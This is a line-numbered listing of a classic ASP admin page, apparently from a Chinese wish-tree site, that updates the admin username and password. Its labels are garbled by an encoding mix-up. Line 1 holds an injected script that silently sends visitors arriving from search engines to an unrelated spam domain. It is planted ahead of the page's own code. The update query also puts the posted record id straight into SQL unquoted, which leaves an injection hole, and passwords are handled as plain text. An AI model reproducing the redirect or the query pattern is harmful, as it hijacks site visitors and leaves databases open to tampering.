d:\wwwroot\wuchunhua\ͨѶ¼\xys\change.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@LANGUAGE="VBSCRIPT"%>
002: <!--#include file="Connections/conn.asp" -->
003: <%
004: ' *** Restrict Access To Page: Grant or deny access to this page
005: MM_authorizedUsers=""
006: MM_authFailedURL="default.asp"
007: MM_grantAccess=false
008: If Session("MM_Username") <> "" Then
009:   If (true Or CStr(Session("MM_UserAuthorization"))="") Or _
010:          (InStr(1,MM_authorizedUsers,Session("MM_UserAuthorization"))>=1) Then
011:     MM_grantAccess = true
012:   End If
013: End If
014: If Not MM_grantAccess Then
015:   MM_qsChar = "?"
016:   If (InStr(1,MM_authFailedURL,"?") >= 1) Then MM_qsChar = "&"
017:   MM_referrer = Request.ServerVariables("URL")
018:   if (Len(Request.QueryString()) > 0) Then MM_referrer = MM_referrer & "?" & Request.QueryString()
019:   MM_authFailedURL = MM_authFailedURL & MM_qsChar & "accessdenied=" & Server.URLEncode(MM_referrer)
020:   Response.Redirect(MM_authFailedURL)
021: End If
022: %
>
023: <%
024: ' *** Edit Operations: declare variables
025:
026: MM_editAction = CStr(Request("URL"))
027: If (Request.QueryString <> "") Then
028:   MM_editAction = MM_editAction & "?" & Request.QueryString
029: End If
030:
031: ' boolean to abort record edit
032: MM_abortEdit = false
033:
034: ' query string to execute
035: MM_editQuery = ""
036: %
>
037: <%
038: ' *** Update Record: set variables
039:
040: If (CStr(Request("MM_update")) <> "" And CStr(Request("MM_recordId")) <> "") Then
041:
042:   MM_editConnection = MM_conn_STRING
043:   MM_editTable = "admin"
044:   MM_editColumn = "id"
045:   MM_recordId = "" + Request.Form("MM_recordId") + ""
046:   MM_editRedirectUrl = "changeok.htm"
047:   MM_fieldsStr  = "textfield|value|textfield2|value"
048:   MM_columnsStr = "admin|',none,''|password|',none,''"
049:
050:   ' create the MM_fields and MM_columns arrays
051:   MM_fields = Split(MM_fieldsStr, "|")
052:   MM_columns = Split(MM_columnsStr, "|")
053:   
054:   ' set the form values
055:   For i = LBound(MM_fields) To UBound(MM_fields) Step 2
056:     MM_fields(i+1) = CStr(Request.Form(MM_fields(i)))
057:   Next
058:
059:   ' append the query string to the redirect URL
060:   If (MM_editRedirectUrl <> "" And Request.QueryString <> "") Then
061:     If (InStr(1, MM_editRedirectUrl, "?", vbTextCompare) = 0 And Request.QueryString <> "") Then
062:       MM_editRedirectUrl = MM_editRedirectUrl & "?" & Request.QueryString
063:     Else
064:       MM_editRedirectUrl = MM_editRedirectUrl & "&" & Request.QueryString
065:     End If
066:   End If
067:
068: End If
069: %
>
070: <%
071: ' *** Update Record: construct a sql update statement and execute it
072:
073: If (CStr(Request("MM_update")) <> "" And CStr(Request("MM_recordId")) <> "") Then
074:
075:   ' create the sql update statement
076:   MM_editQuery = "update " & MM_editTable & " set "
077:   For i = LBound(MM_fields) To UBound(MM_fields) Step 2
078:     FormVal = MM_fields(i+1)
079:     MM_typeArray = Split(MM_columns(i+1),",")
080:     Delim = MM_typeArray(0)
081:     If (Delim = "none") Then Delim = ""
082:     AltVal = MM_typeArray(1)
083:     If (AltVal = "none") Then AltVal = ""
084:     EmptyVal = MM_typeArray(2)
085:     If (EmptyVal = "none") Then EmptyVal = ""
086:     If (FormVal = "") Then
087:       FormVal = EmptyVal
088:     Else
089:       If (AltVal <> "") Then
090:         FormVal = AltVal
091:       ElseIf (Delim = "'") Then  ' escape quotes
092:         FormVal = "'" & Replace(FormVal,"'","''") & "'"
093:       Else
094:         FormVal = Delim + FormVal + Delim
095:       End If
096:     End If
097:     If (i <> LBound(MM_fields)) Then
098:       MM_editQuery = MM_editQuery & ","
099:     End If
100:     MM_editQuery = MM_editQuery & MM_columns(i) & " = " & FormVal
101:   Next
102:   MM_editQuery = MM_editQuery & " where " & MM_editColumn & " = " & MM_recordId
103:
104:   If (Not MM_abortEdit) Then
105:     ' execute the update
106:     Set MM_editCmd = Server.CreateObject("ADODB.Command")
107:     MM_editCmd.ActiveConnection = MM_editConnection
108:     MM_editCmd.CommandText = MM_editQuery
109:     MM_editCmd.Execute
110:     MM_editCmd.ActiveConnection.Close
111:
112:     If (MM_editRedirectUrl <> "") Then
113:       Response.Redirect(MM_editRedirectUrl)
114:     End If
115:   End If
116:
117: End If
118: %
>
119: <%
120: set Recordset1 = Server.CreateObject("ADODB.Recordset")
121: Recordset1.ActiveConnection = MM_conn_STRING
122: Recordset1.Source = "SELECT * FROM admin"
123: Recordset1.CursorType = 0
124: Recordset1.CursorLocation = 2
125: Recordset1.LockType = 3
126: Recordset1.Open()
127: Recordset1_numRows = 0
128: %
>
129: <%
130: set rs1 = Server.CreateObject("ADODB.Recordset")
131: rs1.ActiveConnection = MM_conn_STRING
132: rs1.Source = "SELECT * FROM class"
133: rs1.CursorType = 0
134: rs1.CursorLocation = 2
135: rs1.LockType = 3
136: rs1.Open()
137: rs1_numRows = 0
138: %
>
139: <%
140: ' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters
141:
142: ' create the list of parameters which should not be maintained
143: MM_removeList = "&index="
144: If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
145: MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
146:
147: ' add the URL parameters to the MM_keepURL string
148: For Each Item In Request.QueryString
149:   NextItem = "&" & Item & "="
150:   If (InStr(1,MM_removeList,NextItem,1) = 0) Then
151:     MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
152:   End If
153: Next
154:
155: ' add the Form variables to the MM_keepForm string
156: For Each Item In Request.Form
157:   NextItem = "&" & Item & "="
158:   If (InStr(1,MM_removeList,NextItem,1) = 0) Then
159:     MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
160:   End If
161: Next
162:
163: ' create the Form + URL string and remove the intial '&' from each of the strings
164: MM_keepBoth = MM_keepURL & MM_keepForm
165: if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
166: if (MM_keepURL <> "")  Then MM_keepURL  = Right(MM_keepURL, Len(MM_keepURL) - 1)
167: if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
168:
169: ' a utility function used for adding additional parameters to these strings
170: Function MM_joinChar(firstItem)
171:   If (firstItem <> "") Then
172:     MM_joinChar = "&"
173:   Else
174:     MM_joinChar = ""
175:   End If
176: End Function
177: %
>
178: <html>
179: <head>
180: <title></title>
181: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
182: <script language="JavaScript">
183: <!--
184: function MM_openBrWindow(theURL,winName,features) { //v2.0
185:   window.open(theURL,winName,features);
186: }
187: //-->

188: </script>
189: <link rel="stylesheet" href="css.css" type="text/css">
190: </head>
191: <body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
192: <table width="52%" border="0" cellspacing="0" cellpadding="0" align="center" background="images/bg.gif" class="css">
193:   <tr>
194:     <td width="4%" height="12"><a href="#"><img src="images/sign1114.gif" width="20" height="17" alt="ÐíÔ¸" border="0" onClick="MM_openBrWindow('xy.asp','ÐíÔ¸Ê÷','width=300,height=410')"></a></td>
195:     <td width="5%" height="12">&nbsp;</td>
196:     <td width="6%" height="12">
197:       <div align="center"><a href="del.asp">È«²¿</a></div>
198:     </td>
199:     <td width="60%" height="12">
200:       <table width="296" align="center">
201:         <%
202: startrw = 0
203: endrw = HLooper2__index
204: numberColumns = 6
205: numrows = -1
206: while((numrows <> 0) AND (Not rs1.EOF))
207:    startrw = endrw + 1
208:    endrw = endrw + numberColumns
209: %
>
210:         <tr align="center" valign="top">
211:           <%
212: While ((startrw <= endrw) AND (Not rs1.EOF))
213: %
>
214:           <td height="8">
215:             <table width="91%" border="0" cellspacing="0" cellpadding="0" class="css">
216:               <tr>
217:                 <td>
218:                   <div align="center"><img src="images/sign069.gif" width="10" height="10"><a href="delclass.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "xyid=" & rs1.Fields.Item("xyid").Value %>"><%=(rs1.Fields.Item("classname").Value)%></a><img src="images/sign069.gif" width="10" height="10"></div>
219:                 </td>
220:               </tr>
221:             </table>
222:           </td>
223:           <%
224:    startrw = startrw + 1
225:    rs1.MoveNext()
226:    Wend
227:    %
>
228:         </tr>
229:         <%
230: numrows=numrows-1
231: Wend
232: %
>
233:       </table>
234:     </td>
235:     <td width="11%" height="12">
236:       <div align="center"><a href="del.asp">ɾ³ýÔ¸Íû</a></div>
237:     </td>
238:     <td width="14%" height="12">
239:       <div align="center"><a href="<%=MM_Logout%>">Í˳öµÇ½</a>
240:       </div>
241:     </td>
242:   </tr>
243: </table>
244: <form name="form1" method="POST" action="<%=MM_editAction%>">
245:   <table width="23%" border="1" cellspacing="2" cellpadding="0" align="center" bordercolor="#FFFFFF">
246:     <tr>
247:       <td bordercolor="#000000" bgcolor="#99CC00" colspan="2">
248:         <div align="center">¸ü¸ÄÃÜÂë</div>
249:       </td>
250:     </tr>
251:     <tr>
252:       <td bordercolor="#000000" height="4" width="25%">Admin </td>
253:       <td bordercolor="#000000" height="4" width="75%">
254:         <input type="text" name="textfield">
255:       </td>
256:     </tr>
257:     <tr>
258:       <td bordercolor="#000000" height="3" width="25%">pass </td>
259:       <td bordercolor="#000000" height="3" width="75%">
260:         <input type="text" name="textfield2">
261:       </td>
262:     </tr>
263:   </table>
264:   <p align="center">
265:     <input type="submit" name="Submit" value="¸ü¸Ä">
266:   </p>
267:   <input type="hidden" name="MM_update" value="true">
268:   <input type="hidden" name="MM_recordId" value="<%= Recordset1.Fields.Item("id").Value %>">
269: </form>
270: </body>
271: </html>
272: <%
273: Recordset1.Close()
274: %
>
275: <%
276: rs1.Close()
277: %
>
278:
279:
280:
281: